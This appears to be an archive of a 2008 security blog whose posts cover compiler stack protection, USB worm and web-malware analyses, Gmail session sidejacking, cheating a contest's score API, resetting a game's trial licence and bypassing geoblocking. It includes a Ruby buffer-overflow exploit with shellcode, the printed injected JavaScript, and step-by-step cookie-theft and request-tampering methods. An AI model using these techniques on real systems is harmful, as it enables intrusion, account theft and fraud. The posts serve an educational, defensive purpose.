Showing posts with label analysis. Show all posts
Showing posts with label analysis. Show all posts

Mar 10, 2008

ICC stack-security-check

Recently I've been playing with the Intel C++/C Compiler. Code produced by the compiler reportedly are optimized better than GCC's. I'd say it's overrated and only gives perceived speed increase for common use.

I noticed that by default it produces AT&T assembly instead of Intel. Anyway, I'm more interested in its security feature.

$ icc -help
...
-fstack-security-check
enable overflow security checks
...
A sample C program I used.
int 
main(int argc,char *argv[]) {
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
This is the vanilla assembly output of the program above.
push   ebp
mov ebp,esp
sub esp,0x3
and esp,0xfffffff8
add esp,0x4
sub esp,0x108
add esp,0x0
lea eax,[ebp-0x100]
mov DWORD PTR [esp],eax
mov eax,DWORD PTR [ebp+0xc]
mov eax,DWORD PTR [eax+0x4]
mov DWORD PTR [esp+0x4],eax
call 804ddd0 <strcpy>
add esp,0x8
xor eax,eax
leave
ret
Looking at the produced assembly output of -fstack-security-check, it looks very similar to Stack Smashing Protector (SSP).
[chunk 1]
< sub esp,0x108
---
> sub esp,0x10c
> mov eax,__intel_security_cookie
> mov eax,DWORD PTR [ebp-0x4]
[chunk 2]
< lea eax,[ebp-0x100]
---
> lea eax,[ebp-0x104]
[chunk 3]
> mov eax,DWORD PTR [ebp-0x4]
> call __intel_security_check_cookie
__intel_security_cookie is a 32-bit canary from DS e.g. ds:0x080bc00c. Just like SSP it checks the canary before returning.
./dumbsoft `ruby -e 'puts "B"*512'`
Error: Buffer overrun occurred, forced exit
Aborted
In case you didn't know, GCC has similar features.

Feb 9, 2008

Amateur Malware Analysis

A friend asked me to check his USB drive because it was not working. I attached it to my notebook and mounted it. Seems fine, I can access his files plus a bonus suspicious executable with a blurry folder icon. Apparently the USB port he was attaching the drive to is not working. I copied the executable and the autorun.ini from his drive.

It's a Satuday evening and I have some time to spare so I check out the suspected malware. Here I take a shot at malware analysis.

The autorun.ini is obvious:

[Autorun]
Open=scvhost.exe
Shellexe cute=scvhost.exe
Shell\Open\command=scvhost.exe
Shell=Open

Uploaded scvhost.exe to Jotti's malware scan.

Uploaded it to Norman Sandbox but it does not show any helpful information.
[ DetectionInfo ]
* Sandbox name: NO_MALWARE
* Signature name: DLoader.EGQI
* Compressed: YES
* TLS hooks: NO
* Executable type: Application
* Executable file structure: OK

[ General information ]
* Decompressing UPX3.
* File length: 225792 bytes.
* MD5 hash: 24fcddb3010f0dc16079af055a9970f0.

I tried to uncompress it using UPX but it seems to be intentionally corrupted or compressed with UPOLYX.
$ upx-3.02-i386_linux/upx  -d scvhost.exe 
Ultimate Packer for eXecutables
Copyright (C) 1996,1997,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007
UPX 3.02 Markus Oberhumer, Laszlo Molnar & John Reiser Dec 16th 2007

File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: scvhost.exe: NotPackedException: not packed by UPX

Unpacked 0 files.

The uncompressed part of the executable reveals a couple of details. Looks like it was scripted with AutoIT.
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
type="win32"
processorArchitecture="*"
version="3.0.0.0"
name="AutoIt3"
/>

For dynamic analysis I used Sandboxie. The files it creates:
  • C:\WINDOWS\himhem.scr
  • C:\WINDOWS\scvhost.exe
  • C:\WINDOWS\system32\autorun.ini
  • C:\WINDOWS\system32\blastclnnn.exe
  • C:\WINDOWS\system32\scvhost.exe

Based on the created files this is a variant of W32.Blastclan.

It also creates these registry entries:
  • HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\"Yahoo Messengger" = "C:\WINDOWS\system32\scvhost.exe"
  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\"Shell" = "X"

I don't know why the Shell is set to X probably because it can't fetch a configuration file.

I dumped the malware's memory and found some interesting strings like this command for a scheduled run:
/C AT 09:00 /interactive /EVERY:m,t,w,th,f,s,su C:\WINDOWS\system32\blastclnnn.exe

I also saw a reference to IsDebuggerPresent which checks for a user-mode debugger.

I ran a sniffer to watch the malware's network traffic. It tries to fetches these files:
  • http://setting3.yeahost.com/setting.xls
  • http://setting3.9999mb.com/setting.xls
  • http://setting3.9999mb.com/setting.doc
  • http://www.freewebs.com/setting3/setting.doc
Those are offline now.

Unfortunately I do not have a valid configuration for the malware to further analyse it. Scouring the anti-malware sites this worm seems to have several variants. Good evening.

Feb 6, 2008

Cheating the cheaters

Web application security has a simple rule: "Never trust user input". This applies not only to applications but also games. Flash games are hard to secure and be made cheat-proof. It's like creating a JavaScript game and trusting the results from it. You should also take care of how the results are entered into your system.

AkoModelo is a Filipino social networking website similar to MySpace, Facebook and Friendster. To promote the website they have contests. Late December they had CAM-GIRL.

1. Command Cam-Girl to do things you want by typing in the command in the text box.
2. If your command is valid, Cam-Girl will perform for you!
3. Have fun and try to find all commands!

I played with it for a while as an unregistered user. A certain jhesqi has 90 points at that time. Getting a legit 100 points will be next to impossible so that 90 points is a bit fishy. It's difficult because some commands are phrases and use both English and Filipino words/slang. Later played as a registered user with username borat. I noticed that some commands are word variations of those in the trial.

Of course I watched the HTTP requests.
GET /cam_girl/bg.jpg
GET /cam_girl/camgirl_final_secure.swf
GET /cam_girl/ranking2.asp
GET /cam_girl/user_score.asp
GET /cam_girl/0.flv
GET /cam_girl/idle.flv
GET /cam_girl/user_score.asp
GET /cam_girl/correct.mp3
GET /cam_girl/ranking2.asp
GET /cam_girl/29.flv
GET /cam_girl/user_update.asp?vid=vid25&score=1
GET /cam_girl/ranking2.asp
GET /cam_girl/user_score.asp

The flow should be clear and the script names are self explaining.
  1. Check/show ranking
  2. Check/show user's score
  3. If command is valid play correct.mp3
  4. Show corresponding Flash video
  5. Update user's score!
  6. Repeat

As cheaters we are interested in padding our score. This HTTP GET request is of utmost interest:
GET /cam_girl/user_update.asp?vid=vid25&score=1
Yes a HTTP GET we don't even need to create custom POST requests. The parameters are a dead giveaway. vid is for the Flash video to play and score is the current score. So this request below would easily gain us 100 points:
GET /cam_girl/user_update.asp?vid=vid26&score=100
. The script logic is silly you can change your score arbitrarily like jump to 90 and then to 1. Without looking at the SWF file we can instantly win but we won't settle for that. I also want to see the videos.

This Flash game has two versions each with a different SWF file. I downloaded both locally for offline viewing.
  • http://www.akomodelo.com/cam_girl/camgirl_trial.swf
  • http://www.akomodelo.com/cam_girl/camgirl_final_secure.swf

The camgirl_trial.swf is for unregistered users and camgirl_final_secure.swf is for registered users. Inside the SWF file are the commands, yes hard coded. Here is the CSV formatted answers.txt file of the commands. The fields in order are:
  • Command
  • FLV file
  • Command number
  • Other possible commands

If you look at the CSV or the SWF file dump you won't see commands number 15 and 27 which means it is not possible to get more than 98 points or 56 commands. This contest is a scam because it is not possible to legitimately get 58 commands. These are the two commands that are in camgirl_trial.swf but not in camgirl_final_secure.swf:
'laugh', '31.flv', '27', 'tawa
'electrocute again', '18.flv', '15', 'makuryente ulit', 'makuryente ka ulit'

I guided cam girl through all possible commands getting 98 points. Later jhesqi got 99 points. Checked the camgirl_final_secure.swf for changes but no updates so still the only possible highest score is 98 points. Obviously he is using the HTTP GET request to pad his/her score or directly updating the system. We cheat the cheaters by using the HTTP GET method:
request: GET /cam_girl/user_update.asp?vid=vid27&score=99
output: Newrank=2&Oldrank=2&score=99&rank=0&Newrank=2
request: GET /cam_girl/user_update.asp?vid=vid15&score=100
output: Newrank=1&Oldrank=2&score=100&rank=1&Newrank=1

In a shallow way I demonstrated why you should never trust user input and client-side results. Thanks to AkoModelo for the fun promotional scam. Where's my price? :-p.

Feb 2, 2008

Tongits is in the AIR

Somebody made a card game that runs on Adobe AIR. Tongits is a popular card game played for pastime and also for gambling here in the Philippines. It is played like Mahjong with card rules similar to poker.

What is the Adobe Integrated Runtime:

Adobe® AIR™ lets developers use their existing web development skills in HTML, AJAX, Flash and Flex to build and deploy rich Internet applications to the desktop.
More information at the AIR developer FAQ. According to the FAQ AIR APIs are only exposed to Flash content via ActionScript 3/AVM2. This means it requires Flash version 9 with those nifty features like network sockets.

Installed AIR. Downloaded the game installer, aptly the file extension is .air. The package can be easily unzipped.
$ unzip -l Tongits.air 
Archive: Tongits.air
Length Date Time Name
-------- ---- ---- ----
59 01-24-08 11:43 mimetype
5601 01-24-08 11:42 META-INF/AIR/application.xml
32 01-24-08 11:43 META-INF/AIR/hash
16931 01-02-08 01:09 icons/128x128.png
3272 01-02-08 01:09 icons/16x16.png
4227 01-02-08 01:09 icons/32x32.png
5545 01-02-08 01:09 icons/48x48.png
2558544 01-24-08 11:42 Tongits.swf
3311 01-24-08 11:43 META-INF/signatures.xml
-------- -------
2597522 9 files
No executable in sight only a SWF file. Looks like AIR is an uber flash player. Double clicked on the .air package.
File system and network access. That's Adobe for you, bringing the Web into the desktop.

Installed the game and the files found their way into C:\Program Files\Tongits. Interestingly a new executable accompanies the rest of the files in the package, Tongits.exe with the game logo.

Loaded the binary into OllyDbg. Looks like it was compiled with Visual C++. Saw nothing specific to the game just a bunch of checks for command line options (-runtime/-stdio), registry entries and if AIR is installed. I thought it must be a generic executable to call AIR. Generating custom executables for each AIR application would be tricky and useless. I confirmed it after I found template.exe which contains the same assembly instructions as Tongits.exe. The binary template.exe is located in the AIR directory C:\Program Files\Common Files\Adobe AIR\Versions\1.0.6.

Stripped all the icon resources from Tongits.exe and I am down to the same size (6144 bytes) as template.exe. Copied template.exe over to C:\Program Files\Tongits and ran it. Expectedly it loaded the game just fine. Apparently the AIR installer just embeds the icon into template.exe and puts it along with the rest of the package files.

I did not see any registry entry specific to the game but it has files in C:\Documents and Settings\root\Application Data\Adobe\AIR\ELS\Tongits.[publisherid]:
PrivateEncryptedData
PrivateEncryptedDatai
PrivateEncryptedDatak
PrivateEncryptedDatav

The publisherid is the same as C:\Program Files\Tongits\META-INF\AIR\publisherid and in the installer package. For this game it is FEEDC458623E9216D3707124DB15BAAB6C08489C.1.

The game only has 10 trial runs before it becomes crippled. You have to buy a key if you want to play seriously.

removed... requested by game author

When registering the game, the files in C:\Documents and Settings\root\Application Data\Adobe\AIR\ELS\Tongits.FEEDC458623E9216D3707124DB15BAAB6C08489C.1 got updated. I figured this where the registration and game info is saved.

Confirmed by backing up the directory, deleting it and running the game again. I was given another 10 trial uses. Copied over from backup and I was registered again. Unfortunately for the game author it is hard to come up with pirate-proof registration schemes.

AIR is bringing Web something.0 technologies into the desktop. I think Mozilla has something similar, the XULRunner. Desktop applications are not dead after all. By the way I prefer the cool guys at AdobeAir.

Jan 29, 2008

SSP and _FORTIFY_SOURCE

For overflow protection Stack Smashing Protector (formerly known as ProPolice) and _FORTIFY_SOURCE are two of the most prevalent extensions for GCC and Glibc. Both are independent of each other so they can be used together for an insanely paranoid setup.
Here is a sample code which is easily overflowed.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int
main(int argc,char *argv[]) {
char buffer[256];
strcpy(buffer,argv[1]);
return 0;
}
The normal x86 assembly output without SSP or _FORTIFY_SOURCE for main() should be:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x10c
mov eax, dword ptr [ecx+0x4]
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call strcpy
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
Allows for a clean overflow. Here is a exploit for the above code.
#!/usr/bin/ruby
shellcode =
"\xeb\x0d\x5e\x31\xc9\xb1\x28\x80\x36\x02\x46\xe2\xfa"+
"\xeb\x05\xe8\xee\xff\xff\xff\x33\xc2\xb9\x03\x02\x02"+
"\x02\x52\x6a\x61\x02\x02\x02\x6a\x6d\x6c\x71\x67\x6a"+
"\x67\x66\x42\x67\x56\x5b\xb8\x0b\x02\x02\x02\xb2\x06"+
"\xcf\x82\xb2\x03\x8b\xc1\xcf\x82"
ret = "\x1c\xee\xff\xaf" * 4
sled = "\x90" * (ARGV[0].to_i - (shellcode.length + ret.length))
exploit = (sled + shellcode + ret)
system(ARGV[1],exploit)
ARGV[0] takes the input size and ARGV[1] is the vulnerable executable name. The shellcode just prints ed@eonsec.
$ ./dumbsoft blog.eonsec.com
$ ./dumbsoft `ruby -e 'puts "E"*256'`
Segmentation fault
$ ./exploit.rb 260 ./dumbsoft
ed@eonsec

The relevant gcc options for SSP are -fstack-protector, -fstack-protector-all, -wstack-protector and --param=ssp-buffer-size=. Let us see what is the effect of fstack-protector.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x11c
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-0x8], edx
xor edx, edx
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call strcpy
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-0x4]
leave
lea esp, [ecx-0x4]
ret
You can see SSP in action, inserting the canary from gs:0x14 into EBP, after the call to strcpy(3) the canary is retrieved and checked. If it is untampered it will jump to .pass else __stack_chk_fail is called. By the way a quirk of SSP:
$ ./dumbsoft `ruby -e 'puts "E"*256'` ; echo $?
Segmentation fault
139
$ ./dumbsoft-ssp `ruby -e 'puts "E"*256'` ; echo $?
0
$ ./exploit.rb 256 ./dumbsoft-ssp
$ ./exploit.rb 257 ./dumbsoft-ssp
*** stack smashing detected ***: ./dumbsoft-ssp terminated

Now on to _FORTIFY_SOURCE. The only relevant option for GCC is -D_FORTIFY_SOURCE=. Here is the assembly with -D_FORTIFY_SOURCE=2 used.
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x108
mov eax, dword ptr [ecx+0x4]
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x104]
push eax
call __strcpy_chk
mov ecx, dword ptr [ebp-0x4]
xor eax, eax
leave
lea esp, [ecx-0x4]
ret
$ ./dumbsoft-fortify `ruby -e 'puts "E"*256'`
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x45454545]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
$ ./exploit.rb 256 ./dumbsoft-fortify
*** buffer overflow detected ***: ./dumbsoft-fortify terminated
======= Backtrace: =========
/lib/libc.so.6(__chk_fail+0x41)[0xa7f6c7b1]
[0x90909090]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:08 67185 /home/ed/dumbsoft-fortify
08049000-0804a000 r--p 00000000 08:08 67185 /home/ed/dumbsoft-fortify
0804a000-0804b000 rw-p 00001000 08:08 67185 /home/ed/dumbsoft-fortify
0804b000-0806c000 rw-p 0804b000 00:00 0 [heap]
a7e72000-a7e7b000 r-xp 00000000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7b000-a7e7c000 rw-p 00008000 08:06 487089 /usr/lib/gcc/libgcc_s.so.1
a7e7c000-a7e7d000 rw-p a7e7c000 00:00 0
a7e7d000-a7fc8000 r-xp 00000000 08:06 557696 /lib/libc-2.6.1.so
a7fc8000-a7fca000 r--p 0014b000 08:06 557696 /lib/libc-2.6.1.so
a7fca000-a7fcb000 rw-p 0014d000 08:06 557696 /lib/libc-2.6.1.so
a7fcb000-a7fcf000 rw-p a7fcb000 00:00 0
a7fe2000-a7fe3000 r-xp a7fe2000 00:00 0 [vdso]
a7fe3000-a8000000 r-xp 00000000 08:06 557656 /lib/ld-2.6.1.so
a8000000-a8001000 r--p 0001d000 08:06 557656 /lib/ld-2.6.1.so
a8001000-a8002000 rw-p 0001e000 08:06 557656 /lib/ld-2.6.1.so
affeb000-b0000000 rw-p affeb000 00:00 0 [stack]
As you can see _FORTIFY_SOURCE uses a different way of detecting an overflow. It has __strcpy_chk which as the name implies checks the input to strcpy(3).

Also it looks like _FORTIFY_SOURCE catches overflows earlier than SSP. To be clearer here is the assembly when both are enabled:
main:
lea ecx, [esp+0x4]
and esp, 0xfffffff0
push dword ptr [ecx-0x4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x118
mov eax, dword ptr [ecx+0x4]
mov edx, dword ptr gs:0x14
mov dword ptr [ebp-8], edx
xor edx, edx
push 0x100
push dword ptr [eax+0x4]
lea eax, [ebp-0x108]
push eax
call __strcpy_chk
xor eax, eax
mov edx, dword ptr [ebp-0x8]
xor edx, dword ptr gs:0x14
je .pass
call __stack_chk_fail
.pass:
mov ecx, dword ptr [ebp-4]
leave
lea esp, [ecx-4]
ret
If it is not obvious the __strcpy_chk comes before the canary check. I have not taken a look at the advantage of SSP over _FORTIFY_SOURCE maybe next time.

Jan 23, 2008

Unsecured WiFi and Gmail

Many people are not aware of the dangers when browsing from unsecured wireless hotspots. To demonstrate to a friend I volunteered to sidejack his Google mail session.

Before I can do that I need to know what specific cookies Google needs for a valid session. By carefully reducing cookies one by one I got these two:

google.com / GMAIL_LOGIN=T1126079980530/1126079980530/0325079980125
mail.google.com /mail GX=DQAAAGoAAAD8gt_Ei66AAynLmNMuqhUTbig34xydickxZT5
qkXlfDkjksdjf39ekfatpigXYVSGqHaBhUNuQ93MSbf7boyhahap01V0l74ghmqajdvtv14X
8gQ1fRdqIdxzny5_CryNSSymSC6HR_Sf59oATsAPH
You have to issue another GET request to http://mail.google.com/mail/ after manipulating your cookies. If you click on the Inbox link at the left of the UI you will get logged out because of the Ajax acrobatics done by Gmail.
A weird behavior I experienced when using Opera, sometimes you can also get away with GMAIL_LOGIN and LSID:
google.com / GMAIL_LOGIN=T1126079980530/1126079980530/0325079980125
www.google.com /accounts LSID=mail|s.PH:DQAAAGoAAABhqZ-GPDI5CKISHnit7O-Y
GjjHquF6fFkYUZMuAcfackXzohvS_YRY3you8aCcBkFDwgkaN75F8t_ogagHoG0KyJy2z7yN
Cg6_R5yqINlmqE8YQG1j2WKsiJKCzKw6KC3mha86RjiI9FEHbTormjeg
This time around you have to click on the Inbox link at the left. You are not logged out but you get this error message in Opera: 'Oops...the system was unable to perform your operation (error code 007). Please try again in a few seconds'.
Other interesting findings:
  • The GMAIL_LOGIN and LSID cookie is tied to the username.
  • Signing out the session will revoke the cookies.
  • The rememberme cookie does not seem to make a difference when stealing GMAIL_LOGIN and GX cookies.
  • GMAIL_LOGIN or SID + LSID is enough for other Google services.

After a few minutes analyzing Gmail cookies I then fired up Aircrack-ng. With less than an hours' worth of pcap data, precious GMAIL_LOGIN and GX cookies are ready for picking. After editing the cookies on my currently logged in Gmail account and issuing a GET for http://mail.google.com/mail/ I was greeted by my friend's Inbox. He was flustered, sidejacking was a success.

Connecting to an unsecured WiFi is like connecting to a hub or broken switch. All your unencrypted streams are considered sniffer food. By the way always sign out after using your Google accounts and use https://mail.google.com/.

Jan 20, 2008

Random JS Toolkit

Last week we saw the media coverage of the Random JS Toolkit. Several Linux servers were compromised for malware distribution, directly infecting visitors. The initial vector of compromise is currently unknown and the rootkit installed afterwards is very stealthy to an inexperienced administrator.

It was reported that some sites were compromised repeatedly even after a fresh operating system reinstall. As of this moment some of these sites are still up today serving malware even though they are knowingly rooted.

It is easier to analyse the malware infection than the server compromise. The toolkit inserts a randomly named JavaScript file right after the <body> tag of web pages.

<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>
Here are sample diffs of infected pages.
  <body lang=EN-US link=blue vlink=purple style='tab-interval:.5in'
- stylesrc=main.html>
+ stylesrc=main.html>
+<script language='JavaScript' type='text/javascript' src='uxayo.js'></script>
<div class=Section1>
<p class=MsoNormal><!--webbot bot="Include" tag="BODY" u-include="main.html"
</head>
 -->
</script>
</head>
-<body>
+<body><script language='JavaScript' type='text/javascript' src='pkfae.js'></script>
<table width="800" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
The line is inserted by the toolkit on the first visit based on the IP address and then randomly inserted afterwards. The malicious JS file has several malware embedded which is obfuscated by unescape() sequences and it also downloads a trojan binary to the visitor's machine. The filename of the binary is also randomized as seen on the top of the JS file.
var arg="xxcjutss";

var MU = "http://" + document.location.hostname + "/" + arg;
var MH = '';
var MUT = MU;
for (i=0; i < MUT.length; i++)
{
var b = MUT.charCodeAt (i);
MH = MH + b.toString (16);
}
MH = MH.toUpperCase();
if (Math.round(MUT.length/2) != (MUT.length/2))
{
MH += '00';
}

var MR = '';
for (i=0; i < MH.length; i += 4)
{
MR = MR + '%u' + MH.substring(i+2, i+4) + MH.substring(i, i+2);
}

var MU2 = "\"" + MU + "\"";
var MR2 = "\"" + MR + "\"";

var SB =
unescape ('%6D%61%6C%77%61%72%65%0A') +
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MR2 +
unescape ('%6D%61%6C%77%61%72%65%0A') +
MU2 +
unescape ('%6D%61%6C%77%61%72%65%0A');

document.write (SB);
More information on the malicious JS can be seen at the TrendLabs Malware Blog. This random JS generation component of the toolkit has been seen and reported as early as April 2007 and July 2007 respectively. Similar to other victims they have no idea where the random JS is coming from.

From what I can gather the initial break-in is not through PHP core or web applications since I have seen infected plain html and PHP pages. Also seen Apache 2 and 1.3 serving these infected pages, JS and binaries. cPanel has released an informative security note for this toolkit. Seems to be an unknown root compromise happening on the servers. If the root shell is obtained or the rootkit is installed through /dev/kmem the following patch can disable writing to it. Note that this is just a workaround since the real cause of the initial compromise is unknown.
--- linux/drivers/char/mem.c 2007-10-10 04:31:38.000000000 +0800
+++ linux/drivers/char/mem_nowrite.c 2008-01-20 15:26:32.000000000 +0800
@@ -179,7 +179,7 @@ static ssize_t write_mem(struct file * f

if (!valid_phys_addr_range(p, count))
return -EFAULT;
-
+ return -EPERM;
written = 0;

#ifdef __ARCH_HAS_NO_PAGE_ZERO_MAPPED

To workaround the inclusion of the JS file some resorted to patching even though they are knowingly compromised.
 </head>
<script language='JavaScript' type='text/javascript'>/*
-//<body >
+//<body ><script language='JavaScript' type='text/javascript' src='rylet.js'></script>
//
*/
</script>
And even tried to mask the server software and version in case it is an automated compromise.
$ curl -I www.reallybored.net 
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 14:52:23 GMT
Server: WebServerX
X-Powered-By: PHP/4.4.6
Content-Type: text/html
$ curl -I www.bellingerfurniture.co.uk
HTTP/1.1 200 OK
Date: Fri, 18 Jan 2008 15:24:18 GMT
Server:
X-Powered-By: PHP/4.3.11
Content-Type: text/html

The details of the initial compromise is unknown yet because researchers are having a hard time obtaining post mortem server images. Based on the information available, if this is a software vulnerability I reckon this is an obscure vulnerability in Apache (or module) coupled with an equally obscure Linux kernel vulnerability. If that is not the case, most likely it is a backdoored server image or distribution software package. The multiple stage compromise and infection done on different operating systems is cunning. This is a good example why good guys should always be in the know and should at least keep up with the bad guys.

Here are URLs for additional information on this nefarious toolkit.
http://blog.scansafe.com/journal/2008/1/15/mom-pop-sites-hit-hard-by-host-compromise.html
http://www.finjan.com/Pressrelease.aspx?id=1820&PressLan=1819&lan=3
http://www.webhostingtalk.com/showthread.php?t=651748
http://www.theregister.co.uk/2008/01/11/mysterious_web_infection/
http://www.channelregister.co.uk/2008/01/16/mysterious_web_infection_continues/

Jan 9, 2008

Geolocation blocking

A couple of online gambling sites do geolocation blocking. Either because of regulations or they just want to cater to specific geographical locations. Some of them also do blacklisting right on their network appliances facing the Internet. Geolocation blocking is commonly done on the application layer, through the game client, web application exempli gratia 301,302 redirects.

A Philippines based online casino that does geolocation blocking on their web application is RUZUZ.XLN (domains are encrypted with the jewjitsu cipher). When accessing their registration page using a Philippines IP address you will be thrown an error saying that people in your jurisdiction are not allowed to register. Using a reliable chinese proxy the blocking can be bypassed since China is one of their target markets.

HYLYVG.XLN does it a bit different since they perform the geolocation blocking on layers 2-5 with what seems to be an Internet facing network appliance id est firewall. When connecting using a Philippines IP address you will be timed-out, but it can also be bypassed using a chinese proxy.

Then there is also the clever guys at XK919.XLN. I am not sure of the purpose of the geolocation blocking rather redirecting because they have a similar unblocked page at XK9198.MVG but of course the backend could be completely different and comparing the HTTP behavior/responses they are different hosts.

Accessing XK919.XLN:

$ curl -I http://xk919.xln   
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:07 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:07 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.google.com.tw
Connection: close
Content-Type: text/html

$ curl -I http://xk919.xln
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:34 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:34 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.pchome.com.tw
Connection: close
Content-Type: text/html

$ curl -I http://xk919.xln
HTTP/1.1 302 Found
Date: Tue, 08 Jan 2008 08:58:45 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 08:58:45 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
location: http://www.hinet.net
Connection: close
Content-Type: text/html

Sweet, 302 redirects to random TW domains. Using a chinese proxy:
$ curl -I -x notsoleetblacklistedproxy.cn:8080 xk919.com
curl: (52) Empty reply from server
$ curl -I -x notsoleetblacklistedproxy.tw:8080 xk919.com
curl: (7) couldn't connect to host

The connection times out or I am sent a RST. Using other blacklisted proxy hosts I confirmed that they are using a blacklist (XBL etc.). Clever of them to block these drones and or blacklisted hosts, no legitimate connections come from them anyway. To bypass the blocking you need a fresh proxy located in an allowed jurisdiction and it also should not be blacklisted. Fortunately I have one for tricky times like this.
$ curl -x veryleetproxy.tw:8080 xk919.com
HTTP/1.1 200 OK
Date: Sun, 06 Jan 2008 04:05:29 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Sun, 06 Jan 2008 04:05:29 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
Content-Type: text/html
Proxy-Connection: Keep-Alive
Connection: Keep-Alive

<html>
<head>
<title>Welcome BOEING</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<frameset rows="*,0" frameborder="NO" border="0" framespacing="0">
<frame name="mem_index" src="http://xk919.xln/app/member/">
<frame name="act" scrolling="NO" noresize src="">
</frameset>
<noframes>
<body bgcolor="#FFFFFF" text="#000000">
</body>
</noframes>
</html>

Bypassed. Also look at that, an interesting IFRAME.
curl -D - "http://xk919.xln/app/member/"
HTTP/1.1 200 OK
Date: Tue, 08 Jan 2008 09:41:20 GMT
Server: Apache
Expires: Mon,26 Jul 1997 08:00:00 GMT
Last-Modified: Tue, 08 Jan 2008 09:41:20 GMT
Cache-control: no-cache,must-revalidate
Pragma: no-cache
Set-Cookie: agNameCookie=deleted; expires=Mon, 08-Jan-2007 09:41:19 GMT
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

<html>

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Welcome</title>
<script language="javascript">
<!--//

Yup. The geolocation redirect only happens in index.php, the URL inside the IFRAME is not protected. Complete bypass accomplished.

Jan 4, 2008

A Christmas Packet Challenge

Took up A Christmas Packet Challenge at the Internet Storm Center Handler's Diary. The challenge provides two pcap files for analysis. Here are my answers and analysis. Tools used are Tcpdump, Coreutils and Ruby.

If you do a dump of xmas_Start.pcap you will see a recurring payload in packets 2, 5, 8, 11, 14, 17, 20 and 23. The hex dump provided as a hint also contains the same payload.

$ tcpdump -c2 -qXr xmas_Start.pcap 
12:47:42.798056 IP 192.168.25.100.7337 > 192.168.25.128.1000: tcp 200
0x0000: 4500 00f0 87b3 0000 4006 3e20 c0a8 1964 E.......@.>....d
0x0010: c0a8 1980 1ca9 03e8 463d a8c0 02f5 7e62 ........F=....~b
0x0020: 5002 0200 4333 0000 5357 3467 6447 686c P...C3..SW4gdGhl
0x0030: 4947 3176 646d 6c6c 4945 4567 5132 6879 IG1vdmllIEEgQ2hy
0x0040: 6158 4e30 6257 467a 4945 4e68 636d 3973 aXN0bWFzIENhcm9s
0x0050: 4c43 426f 6233 6367 6257 4675 6553 4275 LCBob3cgbWFueSBu
0x0060: 6157 646f 6443 687a 4b53 426b 6157 5167 aWdodChzKSBkaWQg
